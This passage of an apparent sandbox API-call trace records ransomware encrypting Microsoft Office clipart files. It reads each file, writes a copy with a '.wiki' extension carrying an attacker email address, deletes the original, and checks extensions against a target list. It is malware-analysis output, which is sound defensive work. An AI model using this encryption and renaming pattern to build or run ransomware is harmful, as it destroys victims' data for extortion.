(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0187.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.442] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.442] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.443] GetLastError () returned 0x0 [0187.443] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2708, lpOverlapped=0x0) returned 1 [0187.468] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2710, lpOverlapped=0x0) returned 1 [0187.469] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.469] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.469] SetEndOfFile (hFile=0x1f4) returned 1 [0187.469] CloseHandle (hObject=0x1f4) returned 1 [0187.469] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.469] SetEndOfFile (hFile=0x1d0) returned 1 [0187.470] CloseHandle (hObject=0x1d0) returned 1 [0187.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0187.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.470] lstrlenW (lpString=".doc") returned 4 [0187.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.470] lstrlenW (lpString=".docx") returned 5 [0187.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.470] lstrlenW (lpString=".pdf") returned 4 [0187.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString=".xls") returned 4 [0187.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.471] lstrlenW (lpString=".xlsx") returned 5 [0187.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.471] lstrlenW (lpString=".ppt") returned 4 [0187.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.471] lstrlenW (lpString=".zip") returned 4 [0187.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.471] lstrlenW (lpString=".rar") returned 4 [0187.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString=".bz2") returned 4 [0187.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString=".7z") returned 3 [0187.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.471] lstrlenW (lpString=".dbf") returned 4 [0187.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.471] lstrlenW (lpString=".1cd") returned 4 [0187.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.471] lstrlenW (lpString=".jpg") returned 4 [0187.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.471] lstrlenW (lpString=".doc") returned 4 [0187.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.472] lstrlenW (lpString=".docx") returned 5 [0187.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.472] lstrlenW (lpString=".pdf") returned 4 [0187.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.472] lstrlenW (lpString=".xls") returned 4 [0187.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.472] lstrlenW (lpString=".xlsx") returned 5 [0187.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.472] lstrlenW (lpString=".ppt") returned 4 [0187.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.472] lstrlenW (lpString=".zip") returned 4 [0187.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.472] lstrlenW (lpString=".rar") returned 4 [0187.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.472] lstrlenW (lpString=".bz2") returned 4 [0187.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.472] lstrlenW (lpString=".7z") returned 3 [0187.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.472] lstrlenW (lpString=".dbf") returned 4 [0187.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.472] lstrlenW (lpString=".1cd") returned 4 [0187.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0187.472] lstrlenW (lpString=".jpg") returned 4 [0187.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.473] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.473] lstrlenW (lpString="DD01039_.WMF") returned 12 [0187.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.473] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=14820) returned 1 [0187.473] CloseHandle (hObject=0x1d0) returned 1 [0187.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0187.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.474] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.474] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.474] GetLastError () returned 0x0 [0187.474] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x39e4, lpOverlapped=0x0) returned 1 [0187.681] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x39f0, lpOverlapped=0x0) returned 1 [0187.682] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.682] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.683] SetEndOfFile (hFile=0x1f4) returned 1 [0187.683] CloseHandle (hObject=0x1f4) returned 1 [0187.683] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.683] SetEndOfFile (hFile=0x1d0) returned 1 [0187.684] CloseHandle (hObject=0x1d0) returned 1 [0187.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0187.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.684] lstrlenW (lpString=".doc") returned 4 [0187.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.684] lstrlenW (lpString=".docx") returned 5 [0187.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.684] lstrlenW (lpString=".pdf") returned 4 [0187.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.684] lstrlenW (lpString=".xls") returned 4 [0187.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.684] lstrlenW (lpString=".xlsx") returned 5 [0187.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.684] lstrlenW (lpString=".ppt") returned 4 [0187.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.684] lstrlenW (lpString=".zip") returned 4 [0187.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.685] lstrlenW (lpString=".rar") returned 4 [0187.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.685] lstrlenW (lpString=".bz2") returned 4 [0187.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.685] lstrlenW (lpString=".7z") returned 3 [0187.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.685] lstrlenW (lpString=".dbf") returned 4 [0187.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.685] lstrlenW (lpString=".1cd") returned 4 [0187.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.685] lstrlenW (lpString=".jpg") returned 4 [0187.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.685] lstrlenW (lpString=".doc") returned 4 [0187.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.685] lstrlenW (lpString=".docx") returned 5 [0187.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.685] lstrlenW (lpString=".pdf") returned 4 [0187.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.685] lstrlenW (lpString=".xls") returned 4 [0187.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.685] lstrlenW (lpString=".xlsx") returned 5 [0187.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.685] lstrlenW (lpString=".ppt") returned 4 [0187.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.685] lstrlenW (lpString=".zip") returned 4 [0187.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.686] lstrlenW (lpString=".rar") returned 4 [0187.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.686] lstrlenW (lpString=".bz2") returned 4 [0187.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.686] lstrlenW (lpString=".7z") returned 3 [0187.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.686] lstrlenW (lpString=".dbf") returned 4 [0187.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.686] lstrlenW (lpString=".1cd") returned 4 [0187.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0187.686] lstrlenW (lpString=".jpg") returned 4 [0187.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.686] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.686] lstrlenW (lpString="DD01143_.WMF") returned 12 [0187.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.687] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2140) returned 1 [0187.687] CloseHandle (hObject=0x1d0) returned 1 [0187.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0187.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.687] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.687] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.690] GetLastError () returned 0x0 [0187.690] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x85c, lpOverlapped=0x0) returned 1 [0187.706] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x860, lpOverlapped=0x0) returned 1 [0187.707] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.707] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.707] SetEndOfFile (hFile=0x1f4) returned 1 [0187.707] CloseHandle (hObject=0x1f4) returned 1 [0187.707] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.707] SetEndOfFile (hFile=0x1d0) returned 1 [0187.708] CloseHandle (hObject=0x1d0) returned 1 [0187.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0187.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.708] lstrlenW (lpString=".doc") returned 4 [0187.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.708] lstrlenW (lpString=".docx") returned 5 [0187.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.708] lstrlenW (lpString=".pdf") returned 4 [0187.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.709] lstrlenW (lpString=".xls") returned 4 [0187.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.709] lstrlenW (lpString=".xlsx") returned 5 [0187.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.709] lstrlenW (lpString=".ppt") returned 4 [0187.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.709] lstrlenW (lpString=".zip") returned 4 [0187.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.709] lstrlenW (lpString=".rar") returned 4 [0187.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.709] lstrlenW (lpString=".bz2") returned 4 [0187.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.709] lstrlenW (lpString=".7z") returned 3 [0187.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.709] lstrlenW (lpString=".dbf") returned 4 [0187.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.709] lstrlenW (lpString=".1cd") returned 4 [0187.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.709] lstrlenW (lpString=".jpg") returned 4 [0187.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.709] lstrlenW (lpString=".doc") returned 4 [0187.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.709] lstrlenW (lpString=".docx") returned 5 [0187.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.710] lstrlenW (lpString=".pdf") returned 4 [0187.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.710] lstrlenW (lpString=".xls") returned 4 [0187.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.710] lstrlenW (lpString=".xlsx") returned 5 [0187.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.710] lstrlenW (lpString=".ppt") returned 4 [0187.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.710] lstrlenW (lpString=".zip") returned 4 [0187.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.710] lstrlenW (lpString=".rar") returned 4 [0187.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.710] lstrlenW (lpString=".bz2") returned 4 [0187.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.710] lstrlenW (lpString=".7z") returned 3 [0187.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.710] lstrlenW (lpString=".dbf") returned 4 [0187.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.710] lstrlenW (lpString=".1cd") returned 4 [0187.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0187.710] lstrlenW (lpString=".jpg") returned 4 [0187.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.710] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.711] lstrlenW (lpString="DD01151_.WMF") returned 12 [0187.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.711] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2960) returned 1 [0187.711] CloseHandle (hObject=0x1d0) returned 1 [0187.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0187.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.711] CreateFileW 